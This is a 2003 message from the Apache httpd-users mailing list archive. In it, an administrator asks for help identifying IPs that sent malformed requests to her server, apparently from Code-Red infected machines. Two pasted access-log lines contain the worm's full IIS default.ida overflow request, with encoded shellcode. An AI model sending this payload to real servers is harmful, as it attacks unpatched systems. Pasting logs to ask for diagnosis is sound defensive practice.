httpd-users mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From <sys...@eluminoustechnologies.com>
Subject [users@httpd] Errors!!!!
Date Fri, 17 Jan 2003 09:06:55 GMT
Hello All,

Now this time the IPs are changed? Do u all think that my assumption is Correct Could all
these Machine's Contains Code-Red Virus and they are tyring to access my server?
All these ips are sending malform header to my server ? or may be thery are Spoofed?

200.47.173.193
24.193.133.39
24.112.84.250
213.10.131.56
63.187.80.237
195.38.28.40
148.223.124.179
217.157.86.9
218.5.87.83

[root@server admusr]# cat /etc/httpd/logs/access_log | grep  217.157.86.9 
217.157.86.9 - - [17/Jan/2003:03:17:39 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
 HTTP/1.0" 400 333 "-" "-"
[root@server admusr]# cat /etc/httpd/logs/access_log | grep  218.5.87.83 
218.5.87.83 - - [17/Jan/2003:03:52:03 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
 HTTP/1.0" 400 327 "-" "-"

Help me pls.

Regards,

Cindy

Mime
View raw message